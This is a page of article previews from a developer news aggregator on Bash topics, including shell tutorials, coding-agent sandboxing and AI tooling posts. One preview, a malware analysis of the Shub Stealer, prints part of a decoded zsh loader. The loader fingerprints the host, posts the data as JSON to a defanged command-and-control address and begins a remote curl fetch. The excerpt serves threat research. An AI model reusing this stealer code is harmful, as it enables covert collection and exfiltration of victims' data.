# Bash Bash is the shell, or command language interpreter, for the GNU operating system. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Quiz: The subprocess Module: Wrapping Programs With Python DevFeed: [Quiz: The subprocess Module: Wrapping Programs With Python]() Original publisher: [Read original article]() Author: Real Python Published: 2026-09-11T12:00:00Z Content type: article Language: en Sources: [Real Python]() Topics: [Python](), [Processes](), [Streams](), [Bash](), [Exception]() Tags: [code](), [exception](), [processes](), [python](), [streams](), [tutorial]() ### AI overview An interactive 13-question quiz testing understanding of Python's subprocess module, including launching external programs, handling exit codes and failures, preventing hangs with timeouts, and working with standard streams. ### Source excerpt Test your understanding of Python's subprocess module. Run shell commands, handle exit codes and timeouts, and work with standard streams. ## Configure Bash History: HISTSIZE, Timestamps, Sync, and Search Shortcuts DevFeed: [Configure Bash History: HISTSIZE, Timestamps, Sync, and Search Shortcuts]() Original publisher: [Read original article]() Author: Hayden James Published: 2026-09-03T18:31:24Z Content type: tutorial Language: en Sources: [Hayden James]() Topics: [Bash](), [Scripting, bash](), [Command-line interface]() Tags: [bash](), [blog](), [command-line](), [commands](), [history](), [how-to](), [linux](), [security](), [server](), [sysadmins]() ### AI overview A tutorial on configuring Bash command history, including history size, timestamps, synchronization across terminals, search shortcuts, and excluding commands from history. ### Source excerpt Bash history does a lot more than scroll up. Learn how to configure HISTSIZE, timestamps, multi-terminal sync, and search shortcuts to get real productivity gains at the command line. Continue reading... ## How to switch models in Claude Code with one command DevFeed: [How to switch models in Claude Code with one command]() Original publisher: [Read original article]() Author: WorkOS Published: 2026-08-14T14:04:26Z Content type: tutorial Language: en Sources: [WorkOS Blog]() Topics: [Claude Code](), [Protocol (disambiguation)](), [Bash](), [Command-line interface](), [API](), [SDKs](), [Vercel](), [deepseek]() Tags: [api](), [claude-code](), [command-line](), [commands](), [deepseek](), [how-to](), [vercel]() ### AI overview A tutorial explains how to switch models in Claude Code by using a shell wrapper and environment variables with Anthropic-compatible gateways such as Vercel AI Gateway and OpenRouter. It highlights configuration details, including clearing conflicting credentials and correctly setting empty variables, and notes that the Claude Agent SDK inherits the same setup. ### Source excerpt Claude Code speaks Anthropic's Messages protocol and so do the major gateways. A small shell wrapper points it at any model, with live rate cards to prove it. ## From a Large Allowlist to Three Denials: Permissions for a Coding Agent DevFeed: [From a Large Allowlist to Three Denials: Permissions for a Coding Agent]() Original publisher: [Read original article]() Author: Philipp Lehmann (philipp.lehmann@gruppe.ai) Published: 2026-08-11T07:00:00Z Content type: opinion Language: en Sources: [Philipp Lehmann]() Topics: [coding](), [Bash](), [Linux](), [Authorization](), [Kernel](), [mount](), [Network](), [Command-line interface]() Tags: [agent](), [agents](), [coding](), [command-line](), [curl](), [kernel](), [linux](), [mount](), [network](), [permissions](), [sandboxing](), [security](), [shell]() ### AI overview The article argues that command allowlists are a poor security boundary for coding agents because the required command set continually expands and command names do not constrain effects. It proposes enforcing limits at the kernel level with Linux namespaces, a read-only root filesystem, scoped writable mounts, and dropped capabilities, allowing a shell to run while restricting its blast radius. ### Source excerpt bwrap --unshare-net --cap-drop ALL instead of a command allowlist: sandboxing a coding agent's shell so rm -rf and curl cannot leave the workspace. ## Proxmox VE Helper-Scripts: guía y buenas prácticas DevFeed: [Proxmox VE Helper-Scripts: guía y buenas prácticas]() Original publisher: [Read original article]() Author: Antonio Pérez Published: 2026-08-04T00:00:00Z Content type: tutorial Language: es Sources: [tengoping.com]() Topics: [Proxmox](), [Bash](), [Script](), [Command-line interface](), [qemu](), [GitHub]() Tags: [bash](), [community](), [github](), [http](), [proxmox](), [qemu](), [root](), [script](), [scripts](), [shell]() ### AI overview This guide explains what Proxmox VE Helper-Scripts are, how community-scripts.org uses Bash scripts to deploy applications in LXC containers or QEMU virtual machines, and how the main script downloads and runs the required components. It also highlights the security risk of executing third-party code as root on a Proxmox hypervisor. ### Source excerpt Qué son los Proxmox VE Helper-Scripts de community-scripts.org, cómo despliegan LXC y VMs con un solo comando y qué riesgos de seguridad debes valorar. ## Opening Sublime Text from the command line DevFeed: [Opening Sublime Text from the command line]() Original publisher: [Read original article]() Author: Rob Published: 2026-06-30T10:00:00Z Content type: tutorial Language: en Sources: [Rob Allen]() Topics: [Sublime Text](), [Command-line interface](), [Bash](), [JSON](), [sessions]() Tags: [bash](), [command-line](), [computing](), [extension](), [json](), [sessions](), [shell-scripting](), [software]() ### AI overview A tutorial on using a Bash function to open Sublime Text from the command line with different window behaviors for directories and files. It extends the function to create and manage a hidden .sublime-project JSON file so open files persist across sessions. ### Source excerpt I nearly always open Sublime Text from the command line using subl and have specific requirements for when it should open a new window or re-use one. If I'm opening a directory, then I would like it to re-use the same window if I have previously opened that directory. However if I open a random file, I never want that file in the last directory window as it's unrelated. To do this I wrote a... continue reading. ## Webworm: New burrowing techniques DevFeed: [Webworm: New burrowing techniques]() Original publisher: [Read original article]() Author: Eric Howard Published: 2026-05-20T08:40:00Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [Malware](), [backdoor](), [Reconnaissance](), [Discord](), [GitHub](), [API](), [Microsoft](), [Bash](), [Virtual Private Network](), [Amazon S3]() Tags: [api](), [apt](), [backdoor](), [bash](), [china](), [discord](), [eset-research](), [europe](), [github](), [ip](), [malware](), [microsoft](), [s3](), [server](), [techniques](), [tools]() ### AI overview ESET researchers analyze Webworm's 2025 activity, including its shift toward Europe, new Discord- and Microsoft Graph API-based backdoors, proxy tools, reconnaissance activity, and GitHub-hosted malware staging. ### Source excerpt ESET researchers describe new tools and techniques that the Webworm APT group recently added to its arsenal ## An Engineer's Guide to Better AI Skills: Implementing a Testing Process to Optimize Agent... DevFeed: [An Engineer's Guide to Better AI Skills: Implementing a Testing Process to Optimize Agent...]() Original publisher: [Read original article]() Author: Pinterest Engineering Published: 2026-05-12T16:01:00Z Content type: article Language: en Sources: [Pinterest Engineering Blog - Medium]() Topics: [Agent Skill](), [Artificial Intelligence](), [Claude Code](), [codex](), [Bash](), [iOS](), [JSON]() Tags: [agent](), [agent-skill](), [agentic-coding](), [agents](), [ai](), [ai-agents](), [analysis](), [architecture](), [bash](), [claude-code](), [code](), [codex](), [debug](), [engineering](), [engineering-culture](), [how-to](), [openai](), [pinterest](), [programming](), [skills](), [testing](), [workflows]() ### AI overview An engineer's guide to testing AI skill invocation in repositories and custom skills. It describes a Bash-based harness that runs positive and negative prompts, captures verbose logs, parses JSON-streamed output, and measures invocation reliability across an internal Codex fork and Claude Code. ### Source excerpt An Engineer's Guide to Better AI Skills: Implementing a Testing Process to Optimize Agent Performance in Any Repository or Skill Author: Daniel Reed The tech industry is currently seeing a massive overhaul in the way we work and many are enjoying the benefits of AI agents, particularly when automating engineer workflows and serving domain-specific knowledge. However, relying on agents to consistently invoke a custom skill can be surprisingly unreliable at times. When adopting a new skill intended to help agents write code for Pinterest's iOS architecture (I'll call it rx-mvvm) we discovered that sometimes our knowledge skill wasn't being loaded into our agents. To address this, we conducted a series of tests on Pin-agent (an internal fork of OpenAI's Codex) and Claude Code to quantify the reliability of skill invocation and identify some best practices to maximize performance. This was a direct result of observing agents struggling to meet the skills bar during architectural reviews. We found that by applying different techniques we could track and drastically improve skill invocation rates on both tested agents. How to Build A Skill Test Harness Building a reliable test harness for agent skill invocation requires three key components working in concert. The Core Tool is a Bash script that orchestrates automated testing by piping prompts to your agent and capturing verbose output logs. The core execution is simple: if echo "$prompt" | claude --print --verbose --output-format stream-json > "$log_file" 2>&1; then command_success=true fi The script runs all test cases in sequence, collecting logs for later analysis. We ran the entire suite multiple times to account for the nondeterministic nature of agents. Prompts were categorized into two categories defined as arrays: Positive Cases -- 15 prompts covering the full spectrum of skill domains: CORE_PROMPTS=( "load the rx-mvvm-architecture skill" "check if this follows rx-mvvm patterns" # ... 13 more cases ) Negative Case ## Shub Stealers Fake Crypto Apps DevFeed: [Shub Stealers Fake Crypto Apps]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:34:44Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Security](), [C2](), [Bash](), [Zsh](), [payload](), [telemetry](), [API](), [JSON]() Tags: [c2](), [code](), [infosec](), [json](), [macos](), [malware](), [payload](), [reverse-engineering](), [security](), [shell](), [shell-script](), [telemetry](), [zsh]() ### AI overview Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure. ### Source excerpt By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec /dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa ## Supabase docs over SSH DevFeed: [Supabase docs over SSH]() Original publisher: [Read original article]() Author: Greg Richardson Published: 2026-04-01T07:00:00Z Content type: release Language: en Sources: [Supabase Blog]() Topics: [Supabase](), [AI-assisted coding](), [Bash](), [OpenSSH](), [Filesystems](), [Open Source](), [TypeScript](), [Vercel]() Tags: [agent](), [ai](), [ai-coding](), [bash](), [cli](), [open-source](), [ssh](), [typescript](), [vercel]() ### AI overview Supabase introduces supabase.sh, a public SSH server that exposes Supabase documentation to AI coding agents through a bash-accessible virtual file system. The public experiment is designed to help agents browse current Markdown documentation and avoid hallucinated APIs, incorrect CLI commands, and missed configuration steps. ### Source excerpt Browse Supabase docs with grep, find, and cat. ## How we built a virtual filesystem for our Assistant DevFeed: [How we built a virtual filesystem for our Assistant]() Original publisher: [Read original article]() Author: Dens Sumesh Published: 2026-03-24T00:00:00Z Content type: article Language: en Sources: [Mintlify Blog]() Topics: [Filesystems](), [Retrieval Augmented Generation (RAG)](), [Database](), [Bash](), [Unix](), [TypeScript]() Tags: [ai](), [developer](), [engineering](), [filesystem](), [github](), [latency](), [pricing](), [rag](), [typescript](), [unix](), [vercel](), [virtual]() ### AI overview The article explains how Mintlify built ChromaFs, a virtual filesystem for its documentation assistant. ChromaFs translates UNIX commands into queries against an existing Chroma database, allowing the assistant to search, read, and traverse documentation without cloning a repository into a sandbox. ### Source excerpt We replaced expensive sandboxes with ChromaFs, a virtual filesystem over Chroma, to give our docs AI assistant the ability to explore documentation like a developer would. ## netlab: Switch to Lab Directory After an SSH Session Loss DevFeed: [netlab: Switch to Lab Directory After an SSH Session Loss]() Original publisher: [Read original article]() Published: 2026-03-23T07:31:00Z Content type: tutorial Language: en Sources: [ipSpace.net blog]() Topics: [ssh](), [Bash](), [Scripting, bash](), [Unix](), [Command-line interface](), [Script](), [Server]() Tags: [bash](), [netlab](), [script](), [server](), [ssh]() ### AI overview This tutorial shows how to use netlab status and jq in a Bash alias to return to the directory of a lab after reconnecting to a netlab server following an SSH session loss. ### Source excerpt I work on a laptop that loves to power down when not used (the right thing to do), which often breaks the SSH session to my netlab server (not so good). Reconnecting is trivial. Figuring out which lab I was working on and where it lives on the disk after a few hours? That's the annoying part. We solved most of that ages ago with the netlab status --all command. It shows all running labs1 and their directories, so you can quickly jump back to where you were. However, even that gets tedious the 100th time you have to do it. Read more ... ## Using coding agents as modular components in developer tools DevFeed: [Using coding agents as modular components in developer tools]() Original publisher: [Read original article]() Author: Leonidas Partsas Published: 2026-03-18T17:51:32Z Content type: opinion Language: en Sources: [le0nidas]() Topics: [coding](), [Tooling](), [Terminal](), [Git](), [Bash]() Tags: [agent](), [ai](), [bash](), [beads](), [coding](), [git](), [good-practices](), [open-code](), [opencode](), [productivity](), [thoughts](), [workflow]() ### AI overview The article argues that coding agents should be embedded as focused components within developer tools rather than treated as monolithic tools. It illustrates the approach by decomposing an OpenCode-based commit workflow into Bash scripts and a custom agent, following single-responsibility and composability principles. ### Source excerpt Or to be more exact, use a coding agent in a tool. This is my new starting point every time I begin to think of a tool I want to implement. Being part of the pipeline A couple of weeks ago I thought of creating an OpenCode agent that will check my uncommitted changes, construct ... Continue reading Use AI _in_ a tool not _as_ a tool -> ## Fast FRR Container Configuration DevFeed: [Fast FRR Container Configuration]() Original publisher: [Read original article]() Published: 2026-02-02T06:47:00Z Content type: article Language: en Sources: [ipSpace.net blog]() Topics: [Docker](), [Containers](), [Ansible](), [Bash](), [configuration](), [race-condition]() Tags: [ansible](), [bash](), [configuration](), [container](), [docker](), [infrastructure](), [netlab](), [race-condition]() ### AI overview This article describes netlab's effort to configure FRR containers by executing generated Linux scripts through docker exec. It explains using shebangs to select vtysh or another interpreter, and reports integration-test issues including timing problems and a race condition involving parallel VLAN configuration. ### Source excerpt After creating the infrastructure that generates the device configuration files within netlab (not in an Ansible playbook), it was time to try to apply it to something else, not just Linux containers. FRR containers were the obvious next target. netlab uses two different mechanisms to configure FRR containers: Data-plane features are configured with bash scripts using ip commands and friends. Control-plane features are configured with FRR's vtysh I wanted to replace both with Linux scripts that could be started with the docker exec command. Read more ... ## How netlab 26.01 Reduced Ansible Use for Container Configuration DevFeed: [How netlab 26.01 Reduced Ansible Use for Container Configuration]() Original publisher: [Read original article]() Published: 2026-01-19T06:36:00Z Content type: article Language: en Sources: [ipSpace.net blog]() Topics: [Ansible](), [Bash](), [Docker](), [Containers](), [releases]() Tags: [ansible](), [bash](), [container](), [containers](), [docker](), [linux](), [netlab](), [releases]() ### AI overview The article explains how netlab 26.01 moved device configuration file generation into netlab and runs Bash scripts directly for Linux, Bird, and dnsmasq containers, reducing the role of Ansible in the initialization process. It compares startup behavior with an earlier release using Ansible and notes that the measured times are not statistically significant. ### Source excerpt TL&DR: Of course, the title is clickbait. While the differences are amazing, you won't notice them in small topologies or when using bloatware that takes minutes to boot. Let's start with the background story: due to the (now fixed) suboptimal behavior of bleeding-edge Ansible releases, I decided to generate the device configuration files within netlab (previously, netlab prepared the device data, and the configuration files were rendered in an Ansible playbook). As we use bash scripts to configure Linux containers, it makes little sense (once the bash scripts are created) to use an Ansible playbook to execute docker exec script or ip netns container exec script. netlab release 26.01 runs the bash scripts to configure Linux, Bird, and dnsmasq containers directly within the netlab initial process. Now for the juicy part. Read more ... ## 10 scripts Bash útiles para sysadmins DevFeed: [10 scripts Bash útiles para sysadmins]() Original publisher: [Read original article]() Author: Alois Published: 2026-01-14T00:00:00Z Content type: tutorial Language: es Sources: [tengoping.com]() Topics: [Scripting, bash](), [Bash](), [backups](), [monitor](), [rsync]() Tags: [backups](), [bash](), [logs](), [rsync](), [script](), [scripts](), [shell](), [sysadmin](), [sysadmins]() ### AI overview A Spanish-language tutorial presents ten practical Bash scripts for system administrators, including disk monitoring, rotating backups, log cleanup, and other routine tasks. It notes that Bash scripts suit focused tasks on individual machines but are not a replacement for configuration-management tools when managing many servers. ### Source excerpt Colección de scripts Bash prácticos para monitorización, backups, limpieza de logs y tareas comunes de administración de sistemas. ## Claude Code's Context Access and Terminal Workflow DevFeed: [Claude Code's Context Access and Terminal Workflow]() Original publisher: [Read original article]() Author: Jack Rosa Published: 2025-11-18T14:00:00Z Content type: opinion Language: en Sources: [Hashrocket]() Topics: [Claude Code](), [Claude](), [Terminal](), [Bash]() Tags: [ai](), [bash](), [claude](), [claude-code](), [context](), [hallucinations](), [permission](), [rails](), [ruby](), [terminal](), [workflow]() ### AI overview An opinion article assessing Claude Code's codebase context access, permission workflow, data-handling considerations, and terminal-based verification capabilities. It advises developers to review proposed actions critically because the tool can hallucinate. ### Source excerpt Claude code is a powerful AI toolset that runs right in your terminal. While providing a lot of impressive utility, it also suffers from the issues that arise from similar AI toolings with the addition of an expensive pricing model. Context is Important To me, the main selling point for Claude Code is its ability to read through your entire codebase; a big shortcoming of many AI workflows is the model only partially understanding an issue due to it not having enough of the project's context and convention to be effective. Claude Code has the ability to access all of the files in the directory where you initiated the session, and can even ask for permission to search through extraneous directories. While potentially helpful, this is also a little sketchy when considering that everything Claude is processing is getting sent over the wire to Anthropic's servers; according to their privacy policy, the data sent over for processing will not be used for LLM training unless the user specifically opts in or the content has been flagged for a Trust & Safety Review. It's also important to be aware that Claude's data retention policy has changed in recent months and will likely continue to change. Step by Step When you start a Claude Code session and give it a task to complete, it will usually try to break down the task into steps to complete. Upon starting a 'step', Claude will show you what it wants to do, and ask you for permission to do it. In my experience, I always had three options when presented with Claude's suggestion: accept the suggested action, always accept the suggested action, or do not accept and tell Claude to do something different. I would urge any developer to stick to the first and last option. Take the time to look at Claude's suggestion critically and decide if it seems like the right way to go. Claude is usually logical, but also susceptable to hallucinations. A big advantage of Claude Code living in the terminal, is that it has the ability to run bash ## Running Gemini CLI in a Docker container DevFeed: [Running Gemini CLI in a Docker container]() Original publisher: [Read original article]() Author: Tom Published: 2025-10-31T00:00:00Z Content type: tutorial Language: en Sources: [Tomasz Gągor]() Topics: [Command-line interface](), [Docker](), [Docker Container](), [Node.js](), [Bash](), [Artificial Intelligence](), [GitHub]() Tags: [ai](), [bash](), [cli](), [developer-tools](), [docker](), [docker-container](), [gemini-cli](), [github](), [guide](), [how-to](), [linux](), [macos](), [node-js](), [npm](), [shell](), [zsh]() ### AI overview A practical guide to running Google's Gemini CLI in a Docker container instead of installing Node.js and its dependencies directly. It explains the author's custom Docker image, weekly updates, shell integration, configuration persistence, permissions, and interactive usage. ### Source excerpt Learn how to run Google's Gemini CLI in a Docker container to avoid installing Node.js and its dependencies directly on your system. This guide provides a simple setup, a recommended shell function for seamless integration, and usage examples. ## Using Git Pre-Commit Hooks DevFeed: [Using Git Pre-Commit Hooks]() Original publisher: [Read original article]() Author: Scott Lowe Published: 2025-10-20T15:00:00Z Content type: tutorial Language: en Sources: [Scott's Weblog]() Topics: [Git](), [Markdown](), [Bash](), [Script]() Tags: [aws](), [bash](), [cilium](), [cli](), [cloud](), [cni](), [code](), [containers](), [cri-o](), [devops](), [docker](), [git](), [git-commit](), [git-hook](), [go](), [hooks](), [iac](), [k8s](), [kubernetes](), [lint](), [linux](), [markdown](), [networking](), [oci](), [script](), [security](), [tests]() ### AI overview This tutorial explains Git pre-commit hooks and demonstrates using one to run Markdownlint on staged Markdown files before a commit. It notes that a non-zero hook exit status aborts the commit and presents a Bash implementation based on the author's site. ### Source excerpt A while ago I wrote an article about linting Markdown files with markdownlint. In that article, I presented the use case of linting the Markdown source files for this site. While manually running linting checks is fine--there are times and situations when this is appropriate and necessary--this is the sort of task that is ideally suited for a Git pre-commit hook. In this post, I'll discuss Git pre-commit hooks in the context of using them to run linting checks. Before moving on, a disclaimer: I am not an expert on Git hooks. This post shares my limited experience and provides an example based on what I use for this site. I have no doubt that my current implementation will improve over time as my knowledge and experience grow. What is a Git Hook? As this page explains, a hook is a program "you can place in a hooks directory to trigger actions at certain points in git's execution." Generally, a hook is a script of some sort. Git supports different hooks that get invoked in response to specific actions in Git; in this particular instance, I'm focusing on the pre-commit hook. This hook gets invoked by git-commit (i.e., the user running a git commit command) and allows users to perform a series of checks or tests before actually making a commit. If the pre-commit script exits with a non-zero status, then Git aborts the commit. Using a Pre-Commit Hook to Lint Markdown For my use case, I wanted to run Markdownlint to lint the Markdown files (as described in the previous article on linting Markdown) before the commit. To do that, I came up with the following script: #!/usr/bin/env bash MDLINT="/usr/local/bin/markdownlint" for file in $(git diff --cached --name-only --diff-filter=ACM | grep "\.md"); do if ! $MDLINT "$file"; then echo "Lint check failed on file '$file'." echo "Run markdownlint to identify the errors and try again." exit 1 fi done To make this script active as a pre-commit hook, you must name it pre-commit, you must place it into Git's hook directory (which defa ## Purge old Cloudflare Pages deployments DevFeed: [Purge old Cloudflare Pages deployments]() Original publisher: [Read original article]() Author: Tom Published: 2025-08-26T00:00:00Z Content type: tutorial Language: en Sources: [Tomasz Gągor]() Topics: [Cloudflare](), [Deployment](), [Bash](), [API](), [Script](), [GitHub Actions]() Tags: [api](), [automated](), [bash](), [bash-automation](), [cleanup](), [cloudflare](), [cloudflare-api-script](), [cloudflare-pages](), [delete-old-deployments](), [deployment](), [devops](), [github-actions](), [github-actions-cloudflare-cleanup](), [how-to](), [hugo](), [purge-deployments-cloudflare](), [secrets](), [token]() ### AI overview A Bash script uses the Cloudflare API to paginate through Cloudflare Pages deployments and delete deployments older than 30 days while retaining a configurable number of deployments. The article also outlines the API token, account ID, and GitHub Actions secret setup needed to run the cleanup. ### Source excerpt Learn how to automatically delete old Cloudflare Pages deployments using a Bash script and the Cloudflare API. Keep your account clean and reduce clutter by removing outdated deployments. ## The 90s UNIX Utility That Fell Out of Favour DevFeed: [The 90s UNIX Utility That Fell Out of Favour]() Original publisher: [Read original article]() Author: Alex Ellis Published: 2025-08-15T08:09:48Z Content type: opinion Language: en Sources: [Alex Ellis' Blog]() Topics: [Unix](), [Linux](), [macOS](), [Bash]() Tags: [bash](), [linux](), [macos](), [network](), [remote-access](), [terminal](), [unix]() ### AI overview An essay revisits the UNIX finger utility, explaining its origins in a high-trust environment where it exposed user information such as login status, idle time, phone numbers, and email activity. It also reflects on the author's early experiences with Linux, MUD servers, telnet, and bash. ### Source excerpt I reminisce of the days of i386, Slackware Linux, and forgotten plaintext UNIX utilities that are still on modern Macs today. ## How to Identify the Package Manager of a Linux System DevFeed: [How to Identify the Package Manager of a Linux System]() Original publisher: [Read original article]() Author: Umara Mushtaq Published: 2025-07-14T02:13:11Z Content type: tutorial Language: en Sources: [Baeldung - Linux]() Topics: [Package Management](), [Linux](), [apt](), [Bash](), [Scripting, bash](), [Ubuntu](), [Automation](), [Debian](), [Arch Linux](), [dnf](), [Fedora](), [pacman]() Tags: [apt](), [automation](), [bash](), [debian](), [dependency](), [dnf](), [efficiency](), [errors](), [how-to](), [installation](), [linux](), [linux-how-to](), [package-management](), [package-management-scripting-apt-dnf-pacman-snap-yum](), [pacman](), [scripting](), [snap](), [ubuntu]() ### AI overview This tutorial explains how to identify the package manager used by a Linux system. It covers inferring the manager from the distribution, checking distribution metadata with /etc/os-release or lsb_release, verifying an installed manager with which, and using Bash scripts to detect package managers in automated or multi-distribution environments. ### Source excerpt Learn different ways to guess or identify the default package manager of a Linux system. The post How to Identify the Package Manager of a Linux System first appeared on Baeldung on Linux. Related Stories How to Check for Available Package Updates in Linux How to Properly Install Valgrind? Background Jobs in a Loop in Bash ## How we're shipping faster with Claude Code and Git Worktrees DevFeed: [How we're shipping faster with Claude Code and Git Worktrees]() Original publisher: [Read original article]() Author: Rory Bain Published: 2025-06-27T13:42:11Z Content type: opinion Language: en Sources: [The incident.io Blog]() Topics: [Claude Code](), [AI-assisted coding](), [Command-line interface](), [Bash](), [Git](), [JavaScript]() Tags: [ai-assisted-coding](), [bash](), [claude-code](), [coding](), [command-line](), [development](), [git](), [incident](), [incident-channel](), [incident-management](), [incident-response](), [javascript](), [outage](), [post-mortem](), [slack-incident]() ### AI overview This article describes how a development team uses Claude Code and Git Worktrees to run multiple AI-assisted coding sessions in parallel. It explains Claude Code's terminal-based workflow, including reading codebases, making changes, running Bash commands, and committing code, and gives examples involving UI work, tooling, tests, and product specifications. ### Source excerpt Learn how we accelerated development with Claude Code and Git Worktrees - a powerful combination that enables parallel AI-assisted coding, streamlined workflows, and faster feature delivery. ## Linux Emergency Recovery With init=/bin/bash DevFeed: [Linux Emergency Recovery With init=/bin/bash]() Original publisher: [Read original article]() Author: Francesco Galgani Published: 2025-06-10T19:40:59Z Content type: tutorial Language: en Sources: [Baeldung - Linux]() Topics: [Linux](), [Boot Process](), [systemd](), [Bash](), [Kernel](), [passwords](), [Filesystems]() Tags: [bash](), [boot](), [boot-process](), [boot-process-passwd-systemd](), [how-to](), [kernel](), [linux](), [passwd](), [password](), [recovery](), [root](), [systemd](), [tutorial]() ### AI overview This tutorial explains how to recover an unbootable Linux system by adding init=/bin/bash to the kernel parameters. It covers entering a root Bash shell as PID 1, working with encrypted LVM and LUKS installations, resetting passwords, remounting the filesystem as read/write, and forcing a reboot when normal shutdown commands are unavailable. The method is presented as an emergency measure because an improper forced reboot can cause data loss or corruption. ### Source excerpt Learn to use the init=/bin/bash kernel parameter to access a minimalist root shell on systems that wouldn't otherwise boot. The post Linux Emergency Recovery With init=/bin/bash first appeared on Baeldung on Linux. Click the icon below to watch. Related Stories Linux Emergency Recovery With init=/bin/bash - Enclosure How to Restore Systemd After Deleting It Accidentally How to Dual Boot Windows and Linux [Next page]()